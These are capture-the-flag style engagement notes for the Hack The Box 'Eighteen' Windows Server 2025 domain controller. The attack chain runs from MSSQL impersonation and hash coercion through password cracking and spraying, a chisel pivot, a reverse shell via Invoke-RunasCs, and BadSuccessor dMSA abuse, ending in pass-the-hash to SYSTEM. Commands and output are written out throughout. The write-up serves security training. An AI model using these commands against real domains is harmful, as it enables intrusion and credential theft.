HTB: eighteen
HTB Eighteen Engagement Notes — 2026-06-08
Target: eighteen.htb (DC01, 10.129.12.36) — Windows Server 2025 Domain Controller Initial creds: kevin / iNa2we6haRj2gaw!
Phase: Initial Enumeration
07:57 — Ran rustscan + nmap against the target to map the attack surface. Notable services:
- 80/tcp — IIS 10.0, title “Welcome - eighteen.htb”
- 1433/tcp — MSSQL 2022, domain EIGHTEEN / DC01.eighteen.htb
- 5985/tcp — WinRM (HTTPAPI 2.0)
08:00 — MSSQL exposed with the given creds. Used netexec to check for stored privilege paths rather than going straight for a shell:
1
2
3
nxc mssql eighteen.htb -M mssql_priv -u kevin -p iNa2we6haRj2gaw! --local-auth
[+] DC01\kevin:iNa2we6haRj2gaw!
[*] kevin can impersonate: appdev
[FINDING-01: kevin can impersonate appdev via MSSQL. Likely privesc path]
Phase: Initial Access (MSSQL)
08:05 — Connected via impacket-mssqlclient as kevin to begin acting on FINDING-01.
08:08 — While in the SQL shell, triggered an outbound UNC path (xp_dirtree \\10.10.14.22\asd) to coerce authentication, capturing with responder. Kept this as a secondary lead.
[FINDING-02: Captured NTLMv2 hash for EIGHTEEN\mssqlsvc via xp_dirtree → responder] — saved for offline cracking, not pursued yet since impersonation path looked faster.
08:15 — Confirmed and exercised the impersonation from FINDING-01:
1
exec_as_login appdev
Now operating as appdev.
08:17 — Enumerated financial_planner DB tables as appdev. Pulled users table which contains an admin row with a Django-style PBKDF2 hash.
[FINDING-03: Cleartext-recoverable admin password hash exfiltrated from financial_planner.users]
09:00–09:15 — Cracking FINDING-03. john failed to recognize the format; pivoted to hashcat -m 10000 (Django PBKDF2-SHA256). Format mismatch: app’s hash stores the digest portion as hex, hashcat’s example expects base64, had to re-encode (xxd -r -p | base64) before the crack would run.
09:15 — Crack succeeded: admin:iloveyou1. Logged into the web app’s admin dashboard but no exploitable functionality found, deprioritized this lead.
Status Summary
Completed: Initial MSSQL access as kevin, impersonation to appdev, dumped and cracked admin app credential (iloveyou1).
Open: iloveyou1 is an app layer credential. Need to test for domain account reuse. mssqlsvc hash available as fallback if reuse fails.
Next: RID-brute for valid domain usernames, then password spray iloveyou1 against them via WinRM.
Phase: Lateral Movement
09:17 — RID-brute via MSSQL to enumerate domain usernames (since domain accounts weren’t yet confirmed):
1
nxc mssql eighteen.htb -u kevin -p iNa2we6haRj2gaw! --rid-brute --local-auth
Recovered 7 usernames (jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, carol.white, dave.green).
09:21 — Sprayed iloveyou1 (cracked in FINDING-03) against the user list over WinRM rather than MSSQL, since these are domain & not local accounts and 5985 was open:
1
2
nxc winrm eighteen.htb -u users.txt -p 'iloveyou1' --local-auth
[+] EIGHTEEN\adam.scott:iloveyou1 (Pwn3d!)
[FINDING-04: Credential reuse — iloveyou1 valid for domain user adam.scott via WinRM]
09:24 — Established evil-winrm shell as adam.scott. Retrieved user.txt flag.
09:27 — Enumerated privileges (whoami /priv) and only baseline privileges present (SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege). systeminfo denied. SeMachineAccountPrivilege on a domain joined host is notable. Worth confirming the DC’s OS version next.
09:32 — systeminfo remained denied, so pulled OS details directly from the registry (HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion):
1
2
3
ProductName : Windows Server 2025 Datacenter
CurrentBuild: 26100
InstallationType: Server Core
Server 2025 DC + SeMachineAccountPrivilege = BadSuccessor precondition.
09:48 — Searched “windows server 2025 exploit” and found BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory (Akamai). Core requirement: write access (specifically Create msDS-DelegatedManagedServiceAccount or Create all child objects) on an OU.
Phase: Discovery: Vulnerable OU
10:00 — Conceptual recap before enumerating further: any principal with CreateChild/Create msDS-DelegatedManagedServiceAccount rights on an OU can create a dMSA there. By writing directly to two attributes on that dMSA object (msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState), an attacker can simulate a completed migration. The KDC then builds the dMSA’s PAC using the SIDs of the superseded account, effectively granting that account’s full privileges to whoever controls the dMSA.
10:00 — Checked adam.scott’s group memberships:
1
Get-ADPrincipalGroupMembership -Identity "adam.scott"
Member of Domain Users and IT (CN=IT,OU=Staff,DC=eighteen,DC=htb).
10:06 — Uploaded PowerView.ps1 and enumerated ACLs on the Staff OU:
1
Get-ObjectAcl -DistinguishedName "OU=Staff,DC=eighteen,DC=htb" | select SecurityIdentifier, ActiveDirectoryRights
One entry stood out: SID S-1-5-21-1152179935-589108180-1989892463-1604 with CreateChild rights.
10:10 — Resolved the SID:
1
2
ConvertFrom-SID "S-1-5-21-1152179935-589108180-1989892463-1604"
# EIGHTEEN\IT
[FINDING-05: IT group (adam.scott’s group) has CreateChild rights on OU=Staff. Vulnerable OU for BadSuccessor identified]
Phase: Pivoting
10:12 — LDAP (389/636) wasn’t directly reachable from the attack host. Set up a SOCKS5 pivot via chisel through the adam.scott WinRM session:
Attack host (listener):
1
chisel server --reverse -p 8001 -v --socks5
Victim (confirmed arch first):
1
2
echo $env:PROCESSOR_ARCHITECTURE # AMD64
.\chisel_1.11.5_windows_amd64.exe client 10.10.14.22:8001 R:socks
Routed subsequent LDAP traffic through proxychains (config updated to match the local SOCKS listener port, e.g. 127.0.0.1:1080).
10:30 — Confirmed FINDING-05 from the attack side by running the badsuccessor module with no exploit options (enumeration mode only):
1
2
3
4
proxychains nxc ldap eighteen.htb -u 'adam.scott' -p 'iloveyou1' -M badsuccessor
[+] Found domain controller with operating system Windows Server 2025
[+] Found 1 results
IT (S-1-5-21-...-1604), OU=Staff,DC=eighteen,DC=htb
Confirms the IT group → OU=Staff path is exploitable.
Status Summary: Midday
Completed: Domain foothold as adam.scott (user.txt captured). Confirmed Server 2025 DC, identified and validated OU=Staff as vulnerable to BadSuccessor via adam.scott’s IT group membership. Pivoted into the internal LDAP segment via chisel SOCKS5 + proxychains.
Open: Need a working BadSuccessor exploitation toolchain. Stock netexec lacked full module support for the exploit (write) path.
Next: Acquire BadSuccessor capable tooling, exploit OU=Staff for Administrator key material.
Phase: Privilege Escalation: BadSuccessor (dMSA)
10:35 — Before running the exploit tooling (Rubeus/SharpSuccessor), I set up a dedicated logon session via Invoke-RunasCs (creates a logon type 9 session, needed so the resulting Kerberos tickets are cached against a session usable by these tools) with an nc listener on the attack host to catch the resulting shell:
1
2
import-module .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username adam.scott -Password 'iloveyou1' -Domain eighteen.htb -Command 'powershell.exe' -l 9 -remote 10.10.14.22:7777
10:40-12:00 — From this new session, used Rubeus to derive AES/RC4 key material for adam.scott and request/inject a TGT (asktgt /ptt). Attempted SharpSuccessor to create the weaponized dMSA in OU=Staff impersonating Administrator. Only partially succeeded (dMSA created, attributes written) but failed with Access is denied on the final step. Also tried Rubeus tgtdeleg for a fake delegation TGT. After about an hour and half of attempting this to work I decided to pivot.
12:18 — Found a community netexec fork (PR #1163) adding full BadSuccessor module support (refactored to drop ldap3, uses impacket for LDAP/Kerberos), covers the create-dMSA + retrieve-keys flow that SharpSuccessor was failing on. Uninstalled stock nxc and installed the fork via uv to avoid dependency conflicts.
12:27 — Confirmed module options via --options. Workflow: provide TARGET_OU → creates dMSA, retrieves superseded account’s key material, saves .ccache ticket.
12:30 — First exploit attempt against OU=Staff,DC=eighteen,DC=htb (impersonating Administrator) failed:
1
KRB_AP_ERR_SKEW(Clock skew too great)
[FINDING-06: Attacker host clock drift relative to DC blocks Kerberos exploitation via proxychains pivot]
12:52 — Resolved FINDING-06: NTP kept re-syncing the attack host, so disabled it (timedatectl set-ntp false), pulled accurate time from the existing adam.scott WinRM session (Get-Date), then manually set local time (date -u -s) to match the DC.
12:55 — Re-ran the exploit with corrected clock:
1
2
proxychains nxc ldap dc01.eighteen.htb -u adam.scott -p 'iloveyou1' -M badsuccessor \
-o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=nullvoidlabs TARGET_ACCOUNT=Administrator
[FINDING-07: BadSuccessor successful — dMSA nullvoidlabs$ created, retrieved Administrator’s current and previous key material (AES256/128, RC4)]
12:58 — Used the recovered previous RC4 hash with impacket-psexec (routed via proxychains) against Administrator:
1
2
3
proxychains impacket-psexec -hashes ':0b133be956bfaddf9cea56701affddec' Administrator@eighteen.htb
C:\Windows\System32> whoami
nt authority\system
[FINDING-08: NT AUTHORITY\SYSTEM achieved via pass-the-hash with BadSuccessor-derived Administrator key]
Status Summary — End of Session
Completed: Full chain from MSSQL foothold → DB credential dump → domain credential reuse → vulnerable OU discovery → chisel/proxychains pivot → BadSuccessor exploitation → SYSTEM on DC01. user.txt and root.txt captured.
Open: None — box rooted.
Next: Write up attack chain for portfolio (nullvoidlabs.io). Split out BadSuccessor + clock skew workaround and the PowerView ACL-enumeration pattern as reusable technique notes.